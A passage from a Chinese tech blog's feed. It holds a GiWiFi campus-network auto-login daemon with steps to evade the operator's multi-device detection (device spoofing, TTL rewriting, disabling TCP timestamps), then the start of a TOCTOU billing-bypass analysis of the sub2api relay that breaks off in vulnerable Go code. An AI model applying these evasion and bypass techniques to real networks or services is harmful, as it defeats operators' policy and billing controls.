[<br>        <span class="hljs-string">&quot;openssl&quot;</span>, <span class="hljs-string">&quot;enc&quot;</span>, <span class="hljs-string">&quot;-aes-128-cbc&quot;</span>,<br>        <span class="hljs-string">&quot;-K&quot;</span>, key_hex,<br>        <span class="hljs-string">&quot;-iv&quot;</span>, iv_hex,<br>        <span class="hljs-string">&quot;-nopad&quot;</span>,<br>        <span class="hljs-string">&quot;-base64&quot;</span>, <span class="hljs-string">&quot;-A&quot;</span><br>    ]<br>    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)<br>    out, err = p.communicate(<span class="hljs-built_in">input</span>=raw)<br>    <span class="hljs-keyword">return</span> out.decode(<span class="hljs-string">&quot;ascii&quot;</span>).strip()<br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">do_login</span>(<span class="hljs-params">username, password</span>):<br>    <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    执行完整的单次校园网认证请求闭环</span><br><span class="hljs-string">    :param username: 校园网宽带账号 (通常为手机号)</span><br><span class="hljs-string">    :param password: 校园网宽带密码</span><br><span class="hljs-string">    :return: True 登录成功, False 登录失败</span><br><span class="hljs-string">    &quot;&quot;&quot;</span><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;[<span class="hljs-subst">&#123;time.strftime(<span class="hljs-string">&#x27;%Y-%m-%d %H:%M:%S&#x27;</span>)&#125;</span>] 正在发起 GiWiFi 校园网认证...&quot;</span>)<br>    <br>    <span class="hljs-comment"># 启用 Cookie 容器，用于在第一步 GET 与第二步 POST 间维系 PHPSESSID 会话</span><br>    cj = http.cookiejar.CookieJar()<br>    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))<br>    <br>    <span class="hljs-comment"># 获取网关最新登录地址 (自动带上当时的 wlanuserip)</span><br>    login_url = get_redirect_or_login_url()<br>    <br>    headers = &#123;<br>        <span class="hljs-string">&quot;User-Agent&quot;</span>: <span class="hljs-string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36&quot;</span>,<br>        <span class="hljs-string">&quot;Accept&quot;</span>: <span class="hljs-string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;</span>,<br>        <span class="hljs-string">&quot;Accept-Language&quot;</span>: <span class="hljs-string">&quot;zh-CN,zh;q=0.9&quot;</span><br>    &#125;<br>    <br>    <span class="hljs-comment"># ---------------- 步骤 A: 抓取登录页面，提取动态防重放 Token ----------------</span><br>    <span class="hljs-keyword">try</span>:<br>        req = urllib.request.Request(login_url, headers=headers)<br>        <span class="hljs-keyword">with</span> opener.<span class="hljs-built_in">open</span>(req, timeout=<span class="hljs-number">5</span>) <span class="hljs-keyword">as</span> resp:<br>            html = resp.read().decode(<span class="hljs-string">&quot;utf-8&quot;</span>, <span class="hljs-string">&quot;ignore&quot;</span>)<br>    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:<br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;拉取登录页失败: <span class="hljs-subst">&#123;e&#125;</span>&quot;</span>)<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>        <br>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">get_input_val</span>(<span class="hljs-params">name</span>):<br>        <span class="hljs-string">&quot;&quot;&quot;正则匹配提取 HTML 表单中的隐藏 input 字段值&quot;&quot;&quot;</span><br>        m = re.search(<span class="hljs-string">r&#x27;name=[&quot;&#x27;</span>]<span class="hljs-string">&#x27; + name + r&#x27;</span>[<span class="hljs-string">&quot;&#x27;]\s+value=[&quot;</span><span class="hljs-string">&#x27;]([^&quot;&#x27;</span>]*)[<span class="hljs-string">&quot;&#x27;]&#x27;, html)</span><br><span class="hljs-string">        return m.group(1) if m else &quot;</span><span class="hljs-string">&quot;</span><br><span class="hljs-string">        </span><br><span class="hljs-string">    # 从 HTML 中解析出的关键隐藏参数</span><br><span class="hljs-string">    sign = get_input_val(&quot;</span>sign<span class="hljs-string">&quot;)                 # 服务器下发的单次动态签名 Token</span><br><span class="hljs-string">    sta_ip = get_input_val(&quot;</span>sta_ip<span class="hljs-string">&quot;)             # 客户端当前校园网内网 IP (例如 172.20.59.194)</span><br><span class="hljs-string">    nas_name = get_input_val(&quot;</span>nas_name<span class="hljs-string">&quot;) or &quot;</span>jn_sdgc<span class="hljs-string">&quot;  # 接入控制器标识</span><br><span class="hljs-string">    request_ip = get_input_val(&quot;</span>request_ip<span class="hljs-string">&quot;) or sta_ip</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    if not sign:</span><br><span class="hljs-string">        print(&quot;</span>未检测到有效 sign，可能已处于登录放行状态或网关异常<span class="hljs-string">&quot;)</span><br><span class="hljs-string">        return False</span><br><span class="hljs-string">        </span><br><span class="hljs-string">    # ---------------- 步骤 B: 生成随机 IV 与构建明文表单 ----------------</span><br><span class="hljs-string">    # 随机生成 8 个字节的十六进制字符串 (16 个 ASCII 字符，作为 AES IV)</span><br><span class="hljs-string">    iv = secrets.token_hex(8)</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    # 严格按照网页端 loginForm 的字段顺序与参数组装</span><br><span class="hljs-string">    form_params = [</span><br><span class="hljs-string">        (&quot;</span>sign<span class="hljs-string">&quot;, sign),                      # 动态防重放签名</span><br><span class="hljs-string">        (&quot;</span>sta_vlan<span class="hljs-string">&quot;, &quot;</span><span class="hljs-string">&quot;),                    # VLAN 标识 (默认空)</span><br><span class="hljs-string">        (&quot;</span>sta_port<span class="hljs-string">&quot;, &quot;</span><span class="hljs-string">&quot;),                    # 端口标识 (默认空)</span><br><span class="hljs-string">        (&quot;</span>sta_ip<span class="hljs-string">&quot;, sta_ip),                  # 待放行的客户端内网 IP</span><br><span class="hljs-string">        (&quot;</span>nas_ip<span class="hljs-string">&quot;, &quot;</span><span class="hljs-string">&quot;),                      # NAS IP (默认空)</span><br><span class="hljs-string">        (&quot;</span>nas_name<span class="hljs-string">&quot;, nas_name),              # 控制器名称: jn_sdgc</span><br><span class="hljs-string">        (&quot;</span>last_url<span class="hljs-string">&quot;, &quot;</span><span class="hljs-string">&quot;),                    # 跳转来源 (默认空)</span><br><span class="hljs-string">        (&quot;</span>request_ip<span class="hljs-string">&quot;, request_ip),          # 请求来源 IP</span><br><span class="hljs-string">        (&quot;</span>device_mode<span class="hljs-string">&quot;, &quot;</span>Windows NT <span class="hljs-number">10.0</span><span class="hljs-string">&quot;),  # 设备型号: 伪装为 Win10 单机</span><br><span class="hljs-string">        (&quot;</span>device_type<span class="hljs-string">&quot;, &quot;</span><span class="hljs-number">1</span><span class="hljs-string">&quot;),                # 设备类型: 1 (PC端)</span><br><span class="hljs-string">        (&quot;</span>device_os_type<span class="hljs-string">&quot;, &quot;</span><span class="hljs-number">3</span><span class="hljs-string">&quot;),             # 系统类别: 3 (Windows)</span><br><span class="hljs-string">        (&quot;</span>is_mobile<span class="hljs-string">&quot;, &quot;</span><span class="hljs-number">0</span><span class="hljs-string">&quot;),                  # 是否手机: 0 (否)</span><br><span class="hljs-string">        (&quot;</span>iv<span class="hljs-string">&quot;, iv),                          # 当前加密使用的随机 IV</span><br><span class="hljs-string">        (&quot;</span>login_type<span class="hljs-string">&quot;, &quot;</span><span class="hljs-number">1</span><span class="hljs-string">&quot;),                 # 登录方式: 1 (账号密码)</span><br><span class="hljs-string">        (&quot;</span>account_type<span class="hljs-string">&quot;, &quot;</span><span class="hljs-number">2</span><span class="hljs-string">&quot;),               # 账号类型: 2 (学生/正式用户)</span><br><span class="hljs-string">        (&quot;</span>user_account<span class="hljs-string">&quot;, username),          # 你的宽带手机号/学号</span><br><span class="hljs-string">        (&quot;</span>user_password<span class="hljs-string">&quot;, password)          # 你的宽带登录密码</span><br><span class="hljs-string">    ]</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    # 序列化为类似 sign=xxx&amp;sta_ip=xxx 的标准 URL 编码字符串</span><br><span class="hljs-string">    serialized = urllib.parse.urlencode(form_params)</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    # ---------------- 步骤 C: 执行 AES 加密 ----------------</span><br><span class="hljs-string">    encrypted_data = encrypt_data(serialized, iv)</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    # ---------------- 步骤 D: 发送 POST 请求到网关鉴权接口 ----------------</span><br><span class="hljs-string">    post_body = urllib.parse.urlencode(&#123;</span><br><span class="hljs-string">        &quot;</span>data<span class="hljs-string">&quot;: encrypted_data,  # Base64 密文</span><br><span class="hljs-string">        &quot;</span>iv<span class="hljs-string">&quot;: iv                 # 明文传输 IV (供后端对称解密使用)</span><br><span class="hljs-string">    &#125;).encode(&quot;</span>utf-<span class="hljs-number">8</span><span class="hljs-string">&quot;)</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    post_headers = &#123;</span><br><span class="hljs-string">        &quot;</span>User-Agent<span class="hljs-string">&quot;: &quot;</span>Mozilla/<span class="hljs-number">5.0</span> (Windows NT <span class="hljs-number">10.0</span>; Win64; x64) AppleWebKit/<span class="hljs-number">537.36</span> (KHTML, like Gecko) Chrome/<span class="hljs-number">120.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span> Safari/<span class="hljs-number">537.36</span><span class="hljs-string">&quot;,</span><br><span class="hljs-string">        &quot;</span>Content-<span class="hljs-type">Type</span><span class="hljs-string">&quot;: &quot;</span>application/x-www-form-urlencoded; charset=UTF-<span class="hljs-number">8</span><span class="hljs-string">&quot;,</span><br><span class="hljs-string">        &quot;</span>X-Requested-With<span class="hljs-string">&quot;: &quot;</span>XMLHttpRequest<span class="hljs-string">&quot;,</span><br><span class="hljs-string">        &quot;</span>Origin<span class="hljs-string">&quot;: PORTAL_HOST,</span><br><span class="hljs-string">        &quot;</span>Refere<span class="hljs-string">r&quot;: login_url</span><br><span class="hljs-string">    &#125;</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    try:</span><br><span class="hljs-string">        post_req = urllib.request.Request(</span><br><span class="hljs-string">            f&quot;</span>&#123;PORTAL_HOST&#125;/gportal/Web/loginAction<span class="hljs-string">&quot;,</span><br><span class="hljs-string">            data=post_body,</span><br><span class="hljs-string">            headers=post_headers</span><br><span class="hljs-string">        )</span><br><span class="hljs-string">        with opener.open(post_req, timeout=5) as resp:</span><br><span class="hljs-string">            res = json.loads(resp.read().decode(&quot;</span>utf-<span class="hljs-number">8</span><span class="hljs-string">&quot;, &quot;</span>ignore<span class="hljs-string">&quot;))</span><br><span class="hljs-string">            # 网关返回 status 为 1 表示认证成功，放通外网</span><br><span class="hljs-string">            if res.get(&quot;</span>status<span class="hljs-string">&quot;) in (1, &quot;</span><span class="hljs-number">1</span><span class="hljs-string">&quot;):</span><br><span class="hljs-string">                print(&quot;</span>【登录成功】校园网已成功放通外网！<span class="hljs-string">&quot;)</span><br><span class="hljs-string">                return True</span><br><span class="hljs-string">            else:</span><br><span class="hljs-string">                print(f&quot;</span>【登录失败】网关提示: &#123;res.get(<span class="hljs-string">&#x27;info&#x27;</span>, <span class="hljs-string">&#x27;未知错误&#x27;</span>)&#125;<span class="hljs-string">&quot;)</span><br><span class="hljs-string">                return False</span><br><span class="hljs-string">    except Exception as e:</span><br><span class="hljs-string">        print(f&quot;</span>POST 请求发送异常: &#123;e&#125;<span class="hljs-string">&quot;)</span><br><span class="hljs-string">        return False</span><br><span class="hljs-string"></span><br><span class="hljs-string"></span><br><span class="hljs-string">def daemon_loop(username, password, interval=30):</span><br><span class="hljs-string">    &quot;</span><span class="hljs-string">&quot;&quot;</span><br>    后台常驻看门狗守护循环: 定期探测网络，掉线自动执行静默重登<br>    :param username: 校园网账号<br>    :param password: 校园网密码<br>    :param interval: 心跳检测间隔 (默认 <span class="hljs-number">30</span> 秒)<br>    <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    print(f&quot;GiWiFi 看门狗守护已就绪！检测周期: &#123;interval&#125;s，保活账号: &#123;username&#125;&quot;)</span><br><span class="hljs-string">    while True:</span><br><span class="hljs-string">        # 检测外网连通性</span><br><span class="hljs-string">        if not check_internet():</span><br><span class="hljs-string">            print(f&quot;[&#123;time.strftime(&#x27;%Y-%m-%d %H:%M:%S&#x27;)&#125;] 探测到外网中断，执行自愈认证...&quot;)</span><br><span class="hljs-string">            do_login(username, password)</span><br><span class="hljs-string">        # 休眠等待下一轮探测</span><br><span class="hljs-string">        time.sleep(interval)</span><br><span class="hljs-string"></span><br><span class="hljs-string"></span><br><span class="hljs-string"># ============================ 脚本入口执行 ============================</span><br><span class="hljs-string">if __name__ == &quot;__main__&quot;:</span><br><span class="hljs-string">    if len(sys.argv) &lt; 3:</span><br><span class="hljs-string">        print(&quot;=&quot; * 60)</span><br><span class="hljs-string">        print(&quot;用法:&quot;)</span><br><span class="hljs-string">        print(&quot;  1. 单次手动登录: python3 gwifi_login.py &lt;账号&gt; &lt;密码&gt;&quot;)</span><br><span class="hljs-string">        print(&quot;  2. 后台守护运行: python3 gwifi_login.py &lt;账号&gt; &lt;密码&gt; --daemon&quot;)</span><br><span class="hljs-string">        print(&quot;=&quot; * 60)</span><br><span class="hljs-string">        sys.exit(1)</span><br><span class="hljs-string">        </span><br><span class="hljs-string">    user, pwd = sys.argv[1], sys.argv[2]</span><br><span class="hljs-string">    </span><br><span class="hljs-string">    # 守护模式</span><br><span class="hljs-string">    if len(sys.argv) &gt;= 4 and sys.argv[3] == &quot;--daemon&quot;:</span><br><span class="hljs-string">        daemon_loop(user, pwd)</span><br><span class="hljs-string">    # 单次执行模式</span><br><span class="hljs-string">    else:</span><br><span class="hljs-string">        sys.exit(0 if do_login(user, pwd) else 1)</span><br></code></pre></td></tr></table></figure><h3 id="开机自启配置"><a href="#开机自启配置" class="headerlink" title="开机自启配置"></a>开机自启配置</h3><p>编辑 Wyse 3040 的 <code>/etc/rc.local</code>，在 <code>exit 0</code> 前加入以下指令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 校园网自动认证看门狗: 开机静默后台拉起，标准输出重定向到空设备</span><br><span class="hljs-built_in">nohup</span> python3 /root/gwifi_login.py 你的账号 你的密码 --daemon &gt; /dev/null 2&gt;&amp;1 &amp;<br></code></pre></td></tr></table></figure><p>现在，即便宿舍半夜断电、断网重拨，开机后 Wyse 3040 都会在后台默默拉起看门狗，30 秒内秒级自愈。</p><hr><h2 id="五、-宿舍防封与多设备对抗机制"><a href="#五、-宿舍防封与多设备对抗机制" class="headerlink" title="五、 宿舍防封与多设备对抗机制"></a>五、 宿舍防封与多设备对抗机制</h2><p>宿舍挂路由器最怕被运营商多设备检测抓现行。针对校园网常见的特征探测，我们在软路由上构建了<strong>四重防御体系</strong>：</p><h3 id="1-认证层：单点代登"><a href="#1-认证层：单点代登" class="headerlink" title="1. 认证层：单点代登"></a>1. 认证层：单点代登</h3><p>在登录报文里，Wyse 3040 永远将自身伪装为单一的 <code>Windows NT 10.0</code> 桌面终端。网关数据库里记录的永远只有 1 台电脑在线，其他手机和平板根本不产生鉴权请求。</p><h3 id="2-路由层：TTL-跳数绝对锁定"><a href="#2-路由层：TTL-跳数绝对锁定" class="headerlink" title="2. 路由层：TTL 跳数绝对锁定"></a>2. 路由层：TTL 跳数绝对锁定</h3><p>普通路由器 NAT 转发时会将 IP 包的 TTL 减 1（64 变成 63，128 变成 127），运营商网关一旦抓到 63&#x2F;127 会立刻断定下挂了路由器。<br>我们在 Wyse 3040 的防火墙自定义规则中加入：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 将所有从本地出网的数据包 TTL 强制写死为 64，抹除 NAT 减 1 痕迹</span><br>iptables -t mangle -A POSTROUTING -j TTL --ttl-set 64<br></code></pre></td></tr></table></figure><p><strong>无论内网挂了多少台设备，所有出网的数据包 TTL 统一被强行改写为标准的 64</strong>，彻底抹平多跳路由特征。</p><h3 id="3-系统层：禁用-TCP-Timestamps"><a href="#3-系统层：禁用-TCP-Timestamps" class="headerlink" title="3. 系统层：禁用 TCP Timestamps"></a>3. 系统层：禁用 TCP Timestamps</h3><p>不同设备的操作系统时钟频率（晶振斜率）不同，深度包检测系统会通过 TCP 时间戳统计多设备并发。<br>在 Wyse 3040 执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 立即临时禁用全局 TCP 时间戳</span><br>sysctl -w net.ipv4.tcp_timestamps=0<br><br><span class="hljs-comment"># 持久化固化到内核配置文件，重启不失效</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;net.ipv4.tcp_timestamps=0&quot;</span> &gt;&gt; /etc/sysctl.conf<br></code></pre></td></tr></table></figure><p>直接关闭 TCP 时间戳，彻底切断时钟特征探测。</p><h3 id="4-应用层：旁路由-NAT-折叠"><a href="#4-应用层：旁路由-NAT-折叠" class="headerlink" title="4. 应用层：旁路由 NAT 折叠"></a>4. 应用层：旁路由 NAT 折叠</h3><p>全宿舍设备连上普通路由器的 Wi-Fi，数据包全部自动下发到旁路网关 <code>192.168.1.254</code>，经过 NAT Masquerade 伪装后由单一出口统一转发出去，合多为一。</p><hr>]]>
      </content:encoded>
    </item>
    <item>
      <title>sub2api 计费绕过：一个 TOCTOU 竞态如何把账单清零</title>
      <link>https://blog.newpon.top/2026/10/02/sub2api%E8%AE%A1%E8%B4%B9%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E/</link>
      <description>复盘 sub2api 中转站的计费绕过漏洞。根因是同一个事务里扣余额在前、累加 Key 配额在后，后者依赖 api_keys 行存在；请求结束后抢先软删 Key，让后者报 ErrAPIKeyNotFound，整个事务回滚，已扣的余额一并撤销。含源码级分析、补丁 diff、实测时序数据与完整利用</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/PostgreSQL/">PostgreSQL</category>
      <category domain="https://blog.newpon.top/tags/Go/">Go</category>
      <category domain="https://blog.newpon.top/tags/%E5%AE%89%E5%85%A8/">安全</category>
      <category domain="https://blog.newpon.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">漏洞分析</category>
      <category domain="https://blog.newpon.top/tags/TOCTOU/">TOCTOU</category>
      <category domain="https://blog.newpon.top/tags/%E7%AB%9E%E6%80%81%E6%9D%A1%E4%BB%B6/">竞态条件</category>
      <category domain="https://blog.newpon.top/tags/sub2api/">sub2api</category>
      <pubDate>Fri, 02 Oct 2026 11:40:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>水群的时候看有大佬发了一个中转bug报告，我研究了一下还真实现出来无限使用的脚本了，不过现在已经修复了，可惜，国庆节也那么积极服了</p><hr><h1 id="一、目标是什么"><a href="#一、目标是什么" class="headerlink" title="一、目标是什么"></a>一、目标是什么</h1><p>sub2api 是一套开源的 AI API 中转面板，Go 写的后端 + PostgreSQL，前端是 Vue。它做的事情就是：把上游各家（OpenAI &#x2F; Anthropic &#x2F; Gemini &#x2F; Grok）的账号聚成一个池子，对外暴露统一接口，用户拿它签发的 Key 来调用，按量扣钱。</p><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261003132752973.png" alt="漏洞报告" style="zoom:50%;" /><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261003132759837.png" alt="中转计费" style="zoom:50%;" /><p>对外接口是标准的：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs text">POST /v1/chat/completions     # OpenAI 兼容<br>POST /v1/messages             # Anthropic 兼容<br>POST /v1/responses            # OpenAI Responses<br>POST /v1/embeddings<br>POST /v1/images/generations<br></code></pre></td></tr></table></figure><p>用户侧有两套鉴权：</p><table><thead><tr><th>用途</th><th>凭据</th><th>头</th></tr></thead><tbody><tr><td>面板操作（建 Key、查余额、兑换卡密）</td><td>登录 JWT</td><td><code>Authorization: Bearer &lt;jwt&gt;</code></td></tr><tr><td>调模型</td><td>面板签发的 API Key</td><td><code>Authorization: Bearer sk-xxx</code></td></tr></tbody></table><p>计费模式有三种：<strong>余额扣费</strong>（standard）、<strong>订阅配额</strong>、以及 <strong>Key 自身的 quota 限额</strong>。这三样在落账时都要更新。</p><hr><h1 id="二、正常的计费流程长什么样"><a href="#二、正常的计费流程长什么样" class="headerlink" title="二、正常的计费流程长什么样"></a>二、正常的计费流程长什么样</h1><p>一次请求的完整链路：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">客户端 → 网关鉴权 → 选账号 → 转发上游 → 拿 usage → 落账 → 返回<br>                                        ↑<br>                                  这里才扣钱<br></code></pre></td></tr></table></figure><p>注意最后一步：<strong>扣钱发生在响应体读完之后</strong>。因为只有拿到上游返回的 token 用量，才知道该扣多少。</p><p>落账的入口在 <code>backend/internal/service/gateway_usage_billing.go</code>：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">applyUsageBilling</span><span class="hljs-params">(ctx context.Context, requestID <span class="hljs-type">string</span>, usageLog *UsageLog,</span></span><br><span class="hljs-params"><span class="hljs-function">    p *postUsageBillingParams, deps *billingDeps, repo UsageBillingRepository)</span></span> (<span class="hljs-type">bool</span>, <span class="hljs-type">error</span>) &#123;<br><br>    cmd := buildUsageBillingCommand(requestID, usageLog, p)<br>    <span class="hljs-keyword">if</span> cmd == <span class="hljs-literal">nil</span> || cmd.RequestID == <span class="hljs-string">&quot;&quot;</span> || repo == <span class="hljs-literal">nil</span> &#123;<br>        postUsageBilling(ctx, p, deps)   <span class="hljs-comment">// 降级兜底路径</span><br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span><br>    &#125;<br><br>    billingCtx, cancel := detachedBillingContext(ctx)<br>    <span class="hljs-keyword">defer</span> cancel()<br><br>    result, err := repo.Apply(billingCtx, cmd)   <span class="hljs-comment">// ← 真正落账</span><br>    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>, err<br>    &#125;<br>    ...<br>&#125;<br></code></pre></td></tr></table></figure><p>再往下是 <code>backend/internal/repository/usage_billing_repo.go</code> 的 <code>Apply</code>，一个标准的事务包裹：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(r *usageBillingRepository)</span></span> Apply(ctx context.Context, cmd *service.UsageBillingCommand) (*service.UsageBillingApplyResult, <span class="hljs-type">error</span>) &#123;<br>    tx, err := r.db.BeginTx(ctx, <span class="hljs-literal">nil</span>)<br>    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, err<br>    &#125;<br>    <span class="hljs-keyword">defer</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> &#123;<br>        <span class="hljs-keyword">if</span> tx != <span class="hljs-literal">nil</span> &#123;<br>            _ = tx.Rollback()        <span class="hljs-comment">// ← 出错就整体回滚</span><br>        &#125;<br>    &#125;()<br><br>    <span class="hljs-comment">// 1) 请求级去重（幂等闸）</span><br>    applied, err := r.claimUsageBillingKey(ctx, tx, cmd)<br>    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, err<br>    &#125;<br>    <span class="hljs-keyword">if</span> !applied &#123;<br>        <span class="hljs-keyword">return</span> &amp;service.UsageBillingApplyResult&#123;Applied: <span class="hljs-literal">false</span>&#125;, <span class="hljs-literal">nil</span><br>    &#125;<br><br>    <span class="hljs-comment">// 2) 扣钱 + 记账</span><br>    result := &amp;service.UsageBillingApplyResult&#123;Applied: <span class="hljs-literal">true</span>&#125;<br>    <span class="hljs-keyword">if</span> err := r.applyUsageBillingEffects(ctx, tx, cmd, result); err != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, err<br>    &#125;<br><br>    <span class="hljs-keyword">if</span> err := tx.Commit(); err != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, err<br>    &#125;<br>    tx = <span class="hljs-literal">nil</span><br>    <span class="hljs-keyword">return</span> result, <span class="hljs-literal">nil</span><br>&#125;<br></code></pre></td></tr></table></figure><p>到这里都挺正常。<strong>问题出在第 2 步 <code>applyUsageBillingEffects</code> 里面。</strong></p><hr><h1 id="三、根因：同一个事务里，扣钱在前、记账在后"><a href="#三、根因：同一个事务里，扣钱在前、记账在后" class="headerlink" title="三、根因：同一个事务里，扣钱在前、记账在后"></a>三、根因：同一个事务里，扣钱在前、记账在后</h1><p>把 <code>applyUsageBillingEffects</code> 摊开看（<strong>漏洞版本</strong>）：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(r *usageBillingRepository)</span></span> applyUsageBillingEffects(ctx context.Context, tx *sql.Tx,<br>    cmd *service.UsageBillingCommand, result *service.UsageBillingApplyResult) <span class="hljs-type">error</span> &#123;<br><br>    <span class="hljs-comment">// ① 订阅用量累加</span><br>    <span class="hljs-keyword">if</span> cmd.SubscriptionCost &gt; <span class="hljs-number">0</span> &amp;&amp; cmd.SubscriptionID != <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">if</span> err := incrementUsageBillingSubscription(ctx, tx, *cmd.SubscriptionID, cmd.SubscriptionCost); err != <span class="hljs-literal">nil</span> &#123;<br>            <span class="hljs-keyword">return</span> err<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">// ② 扣用户余额  ← 先扣钱</span><br>    <span class="hljs-keyword">if</span> cmd.BalanceCost &gt; <span class="hljs-number">0</span> &#123;<br>        newBalance, sufficient, err := deductUsageBillingBalance(ctx, tx, cmd.UserID, cmd.BalanceCost)<br>        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> &#123;<br>            <span class="hljs-keyword">return</span> err<br>        &#125;<br>        result.NewBalance = &amp;newBalance<br>        result.BalanceOverdrafted = !sufficient<br>    &#125;<br><br>    <span class="hljs-comment">// ③ 累加 Key 自身配额  ← 后记账，依赖 api_keys 行存在</span><br>    <span class="hljs-keyword">if</span> cmd.APIKeyQuotaCost &gt; <span class="hljs-number">0</span> &#123;<br>        exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost)<br>        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> &#123;<br>            <span class="hljs-keyword">return</span> err                      <span class="hljs-comment">// ★ 这里</span><br>        &#125;<br>        result.APIKeyQuotaExhausted = exhausted<br>    &#125;<br><br>    <span class="hljs-comment">// ④ 